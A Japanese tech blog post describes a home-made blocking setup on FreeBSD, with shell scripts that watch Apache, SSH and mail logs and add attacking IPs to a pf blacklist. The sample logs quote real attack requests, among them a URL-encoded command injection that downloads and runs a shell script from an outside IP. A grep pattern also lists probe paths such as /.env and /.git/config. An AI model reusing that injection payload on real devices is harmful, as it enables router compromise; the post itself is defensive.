お知らせ フロントエンド バックエンド インフラ 品質保証 セキュリティ 製品 興味・関心 その他

2022.10.20

インフラ

貧者のWAF(L7 Firewall)…っぽいもの

業務でWAF関連をしていたところ、個人で運用しているサーバで実施している自作セキュリティ対策がWAFっぽいことに気がつきました。今回も工作はありませんが、低コスト(追加ソフトウェアなし、サーバへの負荷ほとんどなし)、完全手作りのDIY的なセキュリティ対策です。コンパクト(全部合わせても30行以下)ですので、このブログ記事中に全ソースコードが掲載されています。

WAFはWebアクセスのみ対象ですが、今回のツールは他のプロトコルにも応用可能ですので、L7 Firewallとして一般化します。

仕組み

Webサーバ(Apache)のログを見ると、不正なアクセスが結構な頻度で発生しています。例えばこんな感じです。

104.248.146.28 - - [13/Oct/2022:16:09:23 +0900] "GET /api/v1/time HTTP/1.1" 404 196 "-" "-"
27.147.132.227 - - [13/Oct/2022:16:20:55 +0900] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 226 "-" "-"
95.214.235.205 - - [13/Oct/2022:19:35:03 +0900] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
107.22.54.251 - - [13/Oct/2022:22:02:15 +0900] "GET /.git/config HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17"
195.178.120.55 - - [14/Oct/2022:00:49:33 +0900] "GET /cgi-bin/;cd+%2Ftmp%3Bwget+http%3A%2F%2F45.95.55.214%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+Netgear%3Brm+-rf+wget.sh HTTP/1.1" 404 196 "-" "Momentum"
185.107.56.50 - - [15/Oct/2022:14:51:24 +0900] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 196 "-" "python-requests/2.28.1"
44.200.103.117 - - [15/Oct/2022:20:59:36 +0900] "GET /admin/.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0"
103.221.223.200 - - [16/Oct/2022:18:31:03 +0900] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36"

このような不正アクセスのアクセス元IPを収集し、アクセス禁止にしてしまおうというアイデアです。アクセス禁止はOS標準のパケットフィルタで実施します。今回はFreeBSDを使用していますので、pf(4)を使用します。

/etc/pf.conf を以下のように記述し、ブラックリストに登録したIPアドレスからのアクセスは一切拒否します。

table <blacklist> persist file "/var/db/blacklist.txt"
block quick from <blacklist>

/etc/rc.confに

pf_enable="YES"

を記述してパケットフィルタを有効にします。

ブラックリスト登録自動化

ブラックリストのメンテナンスを自動化します。ログを監視し、不正アクセスを発見したらIPアドレスを特定し、ブラックリスト(/var/db/blacklist.txt)へ追加していきます。追加後、リストを再読み込みします。

まずはIPアドレスをリスト追加+再読み込みする部分ですが、シェルスクリプトで作成します。

#!/bin/sh
DBFILE=/var/db/blacklist.txt
echo $1 >> $DBFILE
/sbin/pfctl -t blacklist -T replace -f $DBFILE
echo "$1: added"

/root/add_blacklist.sh というファイルに作成して実行属性を与えたとすると、以下を実行することでIPアドレス111.222.33.44をブラックリストに登録できます。

# /root/add_blacklist.sh 111.222.33.44

次に、ログ監視部分を作成します。tail -F でファイルを監視(ログローテーション対応)できますので、この出力をgrepでパターンマッチしつつ、IPアドレスを抜き出します。不正IPアドレスを発見するたびに/root/add_blacklist.shを実行したいので、xargs -I を最後に使用します。

#!/bin/sh
LOGFILE=/var/log/httpd-access.log
ADDSCRIPT=/root/add_blacklist.sh

/usr/bin/tail -n 0 -F $LOGFILE | \
    /usr/bin/grep --line-buffered '\(GET\|POST\)\( /api/v1/time \| /server-status| /.well-known/security.txt \| /login\| /index.php\| /api/\| /Autodiscover/Autodiscover.xml \| /vendor\| /wp-\| /console\| /.git/config \| /ecp\| /owa\| /setup.cgi\| /boaform\| /HNAP1\| http://\| /admin\| /GponForm/\| /config/\| /manager/\| /phpMyAdmin\| /phpmyadmin\| /db/\| /sql/\| /mysql\| /user/login\| /solr/admin\| /phpinfo\| /stream\| /system\| /core\| /info\| /.aws/\| /shell\|.*\.env \)' | \
    /usr/bin/sed -u -e 's/ .*//' | \
    /usr/bin/xargs -I @ $ADDSCRIPT @

これを例えば/root/check_webaccess.shという名前で保存し実行属性を与えておきます。

# /root/check_webaccess.sh &

上のように実行すれば、ログファイルから不正アクセスを見つけ次第、出入り禁止にしていきます。不正アクセスパターンは時々ログファイルを眺めて新しいパターンがあったら追加していきます。

SSH不正アクセスの監視

個人サーバはSSHによるリモートログインも実施しています。SSHのログ(/var/log/auth.log)にも不正アクセスの試みが記録されています。

Oct 18 06:37:54 tex sshd[21044]: Invalid user Support from 178.214.184.2 port 45573
Oct 18 06:37:54 tex sshd[21044]: Connection closed by invalid user Support 178.214.184.2 port 45573 [preauth]
Oct 18 11:14:10 tex sshd[21720]: Invalid user Centos from 196.206.228.95 port 45766
Oct 18 11:14:11 tex sshd[21720]: Connection closed by invalid user Centos 196.206.228.95 port 45766 [preauth]
Oct 18 13:32:28 tex sshd[22043]: Invalid user Centos from 69.234.245.56 port 55100
Oct 18 13:32:29 tex sshd[22043]: Connection closed by invalid user Centos 69.234.245.56 port 55100 [preauth]

“Invalid user xxxx”とデタラメなユーザ名でログインをする試みが発生していますので、これらを拾ってIPアドレスを抜き出し、ブラックリストに追加していきます。仕組みはApacheのログ監視とほぼ同様です。

#!/bin/sh
LOGFILE=/var/log/auth.log
ADDSCRIPT=/root/add_blacklist.sh

/usr/bin/tail -n 0 -F $LOGFILE | \
    /usr/bin/grep --line-buffered 'Invalid user' | \
    /usr/bin/sed -u -e 's/^.*Invalid user .* from //' -e 's/ port.*//' | \
    /usr/bin/xargs -I @ $ADDSCRIPT @

/root/check_sshaccess.shという名前で保存し、実行属性を与えます。

# /root/check_sshaccess.sh &

このように実行し、ログ監視を実施します。

メール送信不正アクセスの監視

個人サーバはメールサーバも実施しています。ポートスキャンやOpen Relayを期待したSMTP接続のログ記録がsendmailのログ(/var/log/maillog)に残されています。

Oct 19 00:15:47 ec2 sm-mta[26359]: 29IFFkHB026359: 170-187-163-85.ip.linodeusercontent.com [170.187.163.85] did not issue MAIL/EXPN/VRFY/ETRN during connection to IPv4
Oct 19 00:28:29 ec2 sm-mta[32183]: 29IFSNxm032183: 5.126.aries.link3.net [123.200.5.126] (may be forged) did not issue MAIL/EXPN/VRFY/ETRN during connection to IPv4
Oct 19 00:28:40 ec2 sm-mta[32249]: 29IFSVqM032249: AUTH failure (CRAM-MD5): user not found (-20) SASL(-13): user not found: user: ftp@example.com property: cmusaslsecretCRAM-MD5 not found in sasldb /usr/local/etc/sasldb2, user=ftp, relay=[180.164.39.124]

did not issue…はポートスキャンの結果、AUTH failure…はメール送信踏み台の試みの結果と思われます。これらもブラックリスト行きです。

#!/bin/sh
LOGFILE=/var/log/maillog
ADDSCRIPT=/root/add_blacklist.sh

/usr/bin/tail -n 0 -F $LOGFILE | \
    /usr/bin/grep --line-buffered '\(did not issue\|AUTH failure\)' | \
    /usr/bin/sed -e 's/.*\[//' -e 's/\].*//' -e 's/IPv6://' | \
    /usr/bin/xargs -I @ $ADDSCRIPT @

もう説明は不要でしょう。

運用の結果

この簡易Firewallを3年ほど運用しましたが、どんどんブラックリストにIPアドレスが溜まっていきます。そしてそのうち巨大化しすぎて、pfで扱えるテーブルサイズをオーバーし、エラーが発生するようになってしまいます…

そのため時々溜まったIPアドレスを整理して、CIDRにまとめていく作業が必要になります。WHOISを引いて、同一CIDRに属するIPアドレスが多数ある場合はCIDRごとごっそりブラックリストに入れてしまってブラックリストの行数をシュリンクするという作業です。手動でやると面倒なのでこれもスクリプトでやっていますが、今回は説明を割愛します。

現在、CIDRで登録されたエントリ約4300個、単独IPアドレスで登録されたエントリも約4300個登録されており、IPアドレスの増加ペースは鈍化している状態です。

まとめ

少々手間がかかる部分はありますが、追加ソフトウェアいらず、ディスク容量、CPUパワーなどのリソースもほとんど食わないシンプルな仕組みのL7 Firewallとなります。実際にアクセスブロックする仕組みはL3ですし、L7と言っている部分もログファイルを監視してパターンマッチングしているだけなので、L7 Firewallと言ってしまうのも議論はあると思います。また一般的なWAFとは違い、最初の1回だけは不正アクセスを許してしまう欠点もあります。

不正アクセス元のIPアドレスやCIDRが溜まっていきますので、このリストを他で使い回すことも可能です。

このようなものを作ると大抵同じことを考える人はいるもので、fail2banというソフトウェアがあることを後から知りました。こちらはPythonのインストールが必要です。

工作クラブ

工作クラブ

記事一覧

「マーケライズ工作クラブ」で役に立つものを作り、その過程で新しい技術を習得してスキルアップしていきましょう。